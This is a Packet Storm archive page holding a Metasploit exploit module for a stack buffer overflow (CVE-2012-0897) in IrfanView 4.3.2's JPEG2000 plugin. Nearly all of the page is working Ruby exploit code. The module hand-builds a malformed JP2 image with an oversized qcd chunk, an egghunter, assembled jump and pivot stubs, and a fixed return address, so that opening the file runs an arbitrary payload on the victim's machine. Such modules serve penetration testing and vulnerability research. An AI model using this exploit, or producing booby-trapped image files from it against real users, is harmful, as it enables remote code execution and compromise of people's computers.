Lucene search

K
packetstormParvez AnwarPACKETSTORM:114409
HistoryJul 02, 2012 - 12:00 a.m.

Irfanview JPEG2000 4.3.2.0 jp2 Stack Buffer Overflow

2012-07-0200:00:00
Parvez Anwar
packetstormsecurity.com
27

0.926 High

EPSS

Percentile

98.7%

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::FILEFORMAT  
include Msf::Exploit::Remote::Egghunter  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Irfanview JPEG2000 <= v4.3.2.0 jp2 Stack Buffer Overflow',  
'Description' => %q{  
This module exploits a stack-based buffer overflow vulnerability in  
version <= 4.3.2.0 of Irfanview's JPEG2000.dll plugin. This exploit has been  
tested on a specific version of irfanview (v4.3.2), although other versions may  
work also. The vulnerability is triggered via parsing an invalid qcd chunk  
structure and specifying a malformed qcd size and data.  
  
Payload delivery and vulnerability trigger can be executed in multiple ways.  
The user can double click the file, use the file dialog, open via the icon  
and drag/drop the file into Irfanview\'s window. An egg hunter is used for  
stability.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Parvez Anwar <parvez[at]greyhathacker.net>', # vulnerability discovery  
'mr_me <steventhomasseeley[at]gmail.com>', # msf-fu  
'juan vazquez' # more improvements  
],  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'CVE', '2012-0897' ],  
[ 'OSVDB', '78333'],  
[ 'BID', '51426' ],  
[ 'URL', 'http://www.greyhathacker.net/?p=525' ],  
],  
'Platform' => [ 'win' ],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
'InitialAutoRunScript' => 'migrate -f'  
},  
'Payload' =>  
{  
'Space' => 4000,  
'DisableNops' => true,  
},  
'Targets' =>  
[  
# push esp; retn [i_view32.exe]  
# http://www.oldapps.com/irfanview.php?old_irfanview=7097  
# http://irfanview.tuwien.ac.at/plugins/irfanview_plugins_432_setup.exe  
[ 'Irfanview 4.32 / Plugins 4.32 / Windows Universal', { 'Ret' => 0x004819d8 } ]  
],  
'DisclosureDate' => 'Jan 16 2012',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('FILENAME', [ true, 'The output file name.', 'msf.jp2']),  
], self.class)  
end  
  
# encode our string like unicode except we are not using nulls  
def encode_bytes(raw_bytes)  
encoded_bytes = ""  
0.step(raw_bytes.length-1, 2) { |i|  
encoded_bytes << raw_bytes[i+1]  
encoded_bytes << raw_bytes[i]  
}  
return encoded_bytes  
end  
  
def exploit  
jp2 = ""  
jp2 << "\x00\x00\x00\x0c" #  
jp2 << "\x6a\x50\x20\x20" # [jP ] <0x6a502020> magic 0xd0a870a,len 12  
jp2 << "\x0d\x0a\x87\x0a" #  
jp2 << "\x00\x00\x00\x14" #  
jp2 << "\x66\x74\x79\x70" #  
jp2 << "\x6a\x70\x32\x20" #  
jp2 << "\x00\x00\x00\x00" # MinorVersion = 0 = [\0\0\0\0]  
jp2 << "\x6a\x70\x32\x20" # Compat = 0x6a703220 = [jp2 ]  
jp2 << "\x00\x00\x00\x38" #  
jp2 << "\x75\x75\x69\x64" # [uuid] <0x75756964> len 56 data offset 8  
jp2 << "\x61\x70\x00\xde\xec\x87" # 56 bytes with start and end tags  
jp2 << "\xd5\x11\xb2\xed\x00\x50" #  
jp2 << "\x04\x71\xfd\xdc\xd2\x00" #  
jp2 << "\x00\x00\x40\x01\x00\x00" #  
jp2 << "\x00\x00\x00\x00\x60\x09" #  
jp2 << "\x00\x00\x00\x00\x00\x00" #  
jp2 << "\x00\x00\x00\x00\x00\x00" #  
jp2 << "\x00\x00\x30\x00\x00\x00" #  
jp2 << "\x00\x00\x00\x2d" #  
jp2 << "\x6a\x70\x32\x68" # [jp2h] <0x6a703268> len 45 data offset 8  
jp2 << "\x00\x00\x00\x16" #  
jp2 << "\x69\x68\x64\x72" # [ihdr] <0x69686472> len 22 data offset 8  
jp2 << "\x00\x00\x00\x0a" # ImageHeight = 10  
jp2 << "\x00\x00\x00\x0a" # ImageWidth = 10  
jp2 << "\x00\x03" # NumberOfComponents = 3  
jp2 << "\x07" # BitsPerComponent = 7  
jp2 << "\x07" # Compression = 7  
jp2 << "\x01" # Colorspace = 0x1 = unknown  
jp2 << "\x00\x00\x00\x00\x0f" #  
jp2 << "\x63\x6f\x6c\x72" # [colr] <0x636f6c72> len 15 data offset 8  
jp2 << "\x01" # Method = 1  
jp2 << "\x00" # Precedence = 0  
jp2 << "\x00" # ColorSpaceAproximation = 0  
jp2 << "\x00\x00\x00" # EnumeratedColorSpace = 16 = sRGB  
jp2 << "\x10\x00\x00\x00\x00" #  
jp2 << "\x6a\x70\x32\x63" # [jp2c] <0x6a703263> length 0 data offset 8  
jp2 << "\xff\x4f" # <0xff4f=JP2C_SOC> Start of codestream  
jp2 << "\xff\x51" # <0xff51=JP2C_SIZ> length 47  
jp2 << "\x00\x2f" # 47 bytes  
jp2 << "\x00\x00" # Capabilities = 0  
jp2 << "\x00\x00\x00\x0a" # GridWidth = 10  
jp2 << "\x00\x00\x00\x0a" # GridHeight = 10  
jp2 << "\x00\x00\x00\x00" # XImageOffset = 0  
jp2 << "\x00\x00\x00\x00" # YImageOffset = 0  
jp2 << "\x00\x00\x00\x0a" # TileWidth = 10  
jp2 << "\x00\x00\x00\x0a" # TileHeight = 10  
jp2 << "\x00\x00\x00\x00" # Xtileoffset = 0  
jp2 << "\x00\x00\x00\x00" # Ytileoffset = 0  
jp2 << "\x00\x03" # NumberOfComponents = 3  
jp2 << "\x07\x01\x01" # Component0Pr=0x7=8 bits un,hsep=1,vsep=1  
jp2 << "\x07\x01\x01" # Component0Pr=0x7=8 bits un,hsep=1,vsep=1  
jp2 << "\x07\x01\x01" # Component0Pr=0x7=8 bits un,hsep=1,vsep=1  
jp2 << "\xff\x52" # <0xff52=JP2C_COD> length 12  
jp2 << "\x00\x0c" # 12 bytes  
jp2 << "\x00" # codingStyle=0=entropy coder w/o partition  
jp2 << "\x00" # ProgressionOrder = 0  
jp2 << "\x00\x05" # NumberOfLayers = 0x5  
jp2 << "\x01" # MultiComponentTransform=0x1=5/3 reversible  
jp2 << "\x05" # DecompLevels = 5  
jp2 << "\x04" # CodeBlockWidthExponent=0x4+2 # cbw ->64  
jp2 << "\x04" # CodeBlockHeightExponent=0x4+2 # cbh ->64  
jp2 << "\x00" # CodeBLockStyle = 0  
jp2 << "\x00" # QMIFBankId = 0  
  
eggoptions =  
{  
:checksum => false,  
:eggtag => 'pwnd'  
}  
  
hunter,egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions)  
qcd_data = ""  
qcd_data << make_nops(10)  
qcd_data << encode_bytes(hunter)  
qcd_data << rand_text_alpha(146)  
  
jmp_hunter = %q{  
jmp $-0xad  
inc ecx  
}  
  
# jump to our egghunter  
jmp_hunter = Metasm::Shellcode.assemble(Metasm::Ia32.new, jmp_hunter).encode_string  
  
qcd_data << encode_bytes(jmp_hunter)  
qcd_data << rand_text_alpha(196-qcd_data.length)  
qcd_data << encode_bytes([target.ret].pack("V"))  
  
# align ecx and jmp  
pivot = %q{  
inc ch  
jmp ecx  
}  
  
pivot = Metasm::Shellcode.assemble(Metasm::Ia32.new, pivot).encode_string  
  
qcd_data << encode_bytes(pivot)  
qcd_data << egg  
  
jp2 << "\xff\x5c" # start  
jp2 << "\x00\xf5" # arbitrary size to trigger overflow  
jp2 << "\x22" # guard  
jp2 << qcd_data # malicious code  
jp2 << "\xff\x90" # <0xff90=JP2C_SOT>len 10  
jp2 << "\x00\x0a" # 10 bytes  
jp2 << "\x00\x00\x00\x00\x00\x68\x00\x01"  
jp2 << "\xff\x93" # <0xff93=JP2C_SOD> Start of data  
jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80"  
jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80"  
jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80"  
jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80"  
jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80"  
jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80"  
jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80"  
jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80"  
jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80"  
jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80"  
jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80"  
jp2 << "\x80\x80"  
jp2 << "\xff\xd9"  
  
# Create the file  
print_status("Creating '#{datastore['FILENAME']}' file...")  
  
file_create(jp2)  
end  
  
end  
`

0.926 High

EPSS

Percentile

98.7%